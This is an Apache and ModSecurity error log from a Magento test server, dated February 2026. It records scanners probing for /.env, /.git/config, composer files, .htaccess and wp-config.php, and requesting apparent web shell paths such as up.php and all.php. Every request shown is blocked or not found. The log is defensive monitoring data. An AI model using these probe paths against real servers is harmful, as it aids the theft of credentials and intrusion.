[Wed Feb 18 02:32:05.237695 2026] [:error] [pid 2158821] [client 46.191.138.29:43260] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "aZUWlelWiqWVRV3wvdJXvQAAAAU"]
[Wed Feb 18 02:32:05.237873 2026] [:error] [pid 2158821] [client 46.191.138.29:43260] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "aZUWlelWiqWVRV3wvdJXvQAAAAU"]
[Wed Feb 18 02:32:05.445441 2026] [:error] [pid 2159993] [client 46.191.138.29:41410] [client 46.191.138.29] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /.composer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.composer/composer.json"] [unique_id "aZUWlWhJ6Xhv1lP5CLKCxgAAAAY"]
[Wed Feb 18 02:32:05.445710 2026] [:error] [pid 2159993] [client 46.191.138.29:41410] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.composer/composer.json"] [unique_id "aZUWlWhJ6Xhv1lP5CLKCxgAAAAY"]
[Wed Feb 18 02:32:05.445867 2026] [:error] [pid 2159993] [client 46.191.138.29:41410] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.composer/composer.json"] [unique_id "aZUWlWhJ6Xhv1lP5CLKCxgAAAAY"]
[Wed Feb 18 02:32:05.655735 2026] [authz_core:error] [pid 2158808] [client 46.191.138.29:41420] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/composer/installed.json
[Fri Feb 20 02:34:32.536139 2026] [php:error] [pid 2200859] [client 172.190.142.176:48603] script '/var/www/magento.test.indacotrentino.com/www/pub/images/Mhbgf.php' not found or unable to stat
[Fri Feb 20 02:34:38.844419 2026] [php:error] [pid 2200859] [client 172.190.142.176:48603] script '/var/www/magento.test.indacotrentino.com/www/pub/images/up.php' not found or unable to stat
[Fri Feb 20 02:34:44.637885 2026] [php:error] [pid 2200859] [client 172.190.142.176:48603] script '/var/www/magento.test.indacotrentino.com/www/pub/images/all.php' not found or unable to stat
[Fri Feb 20 02:34:49.829536 2026] [php:error] [pid 2200859] [client 172.190.142.176:48603] script '/var/www/magento.test.indacotrentino.com/www/pub/images/fb.php' not found or unable to stat
[Sun Feb 22 02:23:06.242710 2026] [:error] [pid 2245446] [client 185.93.89.110:48360] [client 185.93.89.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZpaeqo5uUyVE0aOLX8k8QAAAAA"]
[Sun Feb 22 02:23:06.242944 2026] [:error] [pid 2245446] [client 185.93.89.110:48360] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZpaeqo5uUyVE0aOLX8k8QAAAAA"]
[Sun Feb 22 02:23:06.243105 2026] [:error] [pid 2245446] [client 185.93.89.110:48360] [client 185.93.89.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZpaeqo5uUyVE0aOLX8k8QAAAAA"]
[Sun Feb 22 13:05:49.276484 2026] [php:error] [pid 2248145] [client 20.5.72.178:13800] script '/var/www/magento.test.indacotrentino.com/www/pub/images/all.php' not found or unable to stat
[Sun Feb 22 18:12:32.666100 2026] [:error] [pid 2260515] [client 204.76.203.25:44598] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZs5AMQoYGqOpkE0_p9EAgAAAAQ"]
[Sun Feb 22 18:12:32.666442 2026] [:error] [pid 2260515] [client 204.76.203.25:44598] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZs5AMQoYGqOpkE0_p9EAgAAAAQ"]
[Sun Feb 22 18:12:32.666634 2026] [:error] [pid 2260515] [client 204.76.203.25:44598] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZs5AMQoYGqOpkE0_p9EAgAAAAQ"]
[Sun Feb 22 18:23:21.358378 2026] [:error] [pid 2260516] [client 195.178.110.187:36686] [client 195.178.110.187] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZs7iRYM6oakR0ewVV4sfAAAAAU"]
[Sun Feb 22 18:23:21.358703 2026] [:error] [pid 2260516] [client 195.178.110.187:36686] [client 195.178.110.187] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZs7iRYM6oakR0ewVV4sfAAAAAU"]
[Sun Feb 22 18:23:21.358861 2026] [:error] [pid 2260516] [client 195.178.110.187:36686] [client 195.178.110.187] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZs7iRYM6oakR0ewVV4sfAAAAAU"]
[Tue Feb 24 15:48:45.532333 2026] [:error] [pid 2298160] [client 195.250.31.127:27793] [client 195.250.31.127] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ26TWBE87IsUB8FTJt1_AAAAAE"]
[Tue Feb 24 15:48:45.533765 2026] [:error] [pid 2298160] [client 195.250.31.127:27793] [client 195.250.31.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ26TWBE87IsUB8FTJt1_AAAAAE"]
[Tue Feb 24 15:48:45.533940 2026] [:error] [pid 2298160] [client 195.250.31.127:27793] [client 195.250.31.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ26TWBE87IsUB8FTJt1_AAAAAE"]
[Wed Feb 25 01:09:25.914918 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTQAAAAg"]
[Wed Feb 25 01:09:25.915249 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTQAAAAg"]
[Wed Feb 25 01:09:25.915444 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTQAAAAg"]
[Wed Feb 25 01:09:25.953380 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTgAAAAg"]
[Wed Feb 25 01:09:25.953584 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTgAAAAg"]
[Wed Feb 25 01:09:25.953737 2026] [:error] [pid 2311239] [client 141.98.11.171:45696] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ49tQGXPqk0H_qCjUDeTgAAAAg"]
[Wed Feb 25 11:56:48.925423 2026] [:error] [pid 2312955] [client 195.178.110.190:55796] [client 195.178.110.190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ7VcOTWwZsZM3_RktVD9wAAAAU"]
[Wed Feb 25 11:56:48.925802 2026] [:error] [pid 2312955] [client 195.178.110.190:55796] [client 195.178.110.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ7VcOTWwZsZM3_RktVD9wAAAAU"]
[Wed Feb 25 11:56:48.925980 2026] [:error] [pid 2312955] [client 195.178.110.190:55796] [client 195.178.110.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZ7VcOTWwZsZM3_RktVD9wAAAAU"]
[Sat Feb 28 10:10:22.947578 2026] [:error] [pid 2378303] [client 217.170.194.172:45001] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /xx3wq6n5ucvufbrkk.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/XX3WQ6N5ucvUFbrkk.htaccess"] [unique_id "aaKw_oLaDfxPhnt6lEEudwAAAAA"]
[Sat Feb 28 10:10:22.947909 2026] [:error] [pid 2378303] [client 217.170.194.172:45001] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/XX3WQ6N5ucvUFbrkk.htaccess"] [unique_id "aaKw_oLaDfxPhnt6lEEudwAAAAA"]
[Sat Feb 28 10:10:22.948073 2026] [:error] [pid 2378303] [client 217.170.194.172:45001] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/XX3WQ6N5ucvUFbrkk.htaccess"] [unique_id "aaKw_oLaDfxPhnt6lEEudwAAAAA"]
[Sat Feb 28 10:10:23.274983 2026] [:error] [pid 2383931] [client 217.170.194.172:55083] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /ijnhnovy2rreyzrk7s.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Ijnhnovy2RReyzRK7s.htaccess"] [unique_id "aaKw_5CSoh35rUFTMWGw2wAAAAk"]
[Sat Feb 28 10:10:23.275294 2026] [:error] [pid 2383931] [client 217.170.194.172:55083] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Ijnhnovy2RReyzRK7s.htaccess"] [unique_id "aaKw_5CSoh35rUFTMWGw2wAAAAk"]
[Sat Feb 28 10:10:23.275442 2026] [:error] [pid 2383931] [client 217.170.194.172:55083] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Ijnhnovy2RReyzRK7s.htaccess"] [unique_id "aaKw_5CSoh35rUFTMWGw2wAAAAk"]
[Sat Feb 28 10:10:23.606594 2026] [:error] [pid 2378306] [client 217.170.194.172:41279] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /k7eiaoershhvduhrb1a.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/K7EIaoersHHvduhRB1a.htaccess"] [unique_id "aaKw_xtCtP4omYNsoH8fOgAAAAM"]
[Sat Feb 28 10:10:23.606887 2026] [:error] [pid 2378306] [client 217.170.194.172:41279] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/K7EIaoersHHvduhRB1a.htaccess"] [unique_id "aaKw_xtCtP4omYNsoH8fOgAAAAM"]
[Sat Feb 28 10:10:23.607040 2026] [:error] [pid 2378306] [client 217.170.194.172:41279] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/K7EIaoersHHvduhRB1a.htaccess"] [unique_id "aaKw_xtCtP4omYNsoH8fOgAAAAM"]
[Sat Feb 28 10:10:23.939385 2026] [authz_core:error] [pid 2381933] [client 217.170.194.172:36429] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sat Feb 28 10:11:11.299543 2026] [:error] [pid 2383930] [client 217.170.194.172:60393] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKxL8iqy3jYVmgj06zdrQAAAAg"]
[Sat Feb 28 10:11:11.299865 2026] [:error] [pid 2383930] [client 217.170.194.172:60393] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKxL8iqy3jYVmgj06zdrQAAAAg"]
[Sat Feb 28 10:11:11.300028 2026] [:error] [pid 2383930] [client 217.170.194.172:60393] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKxL8iqy3jYVmgj06zdrQAAAAg"]
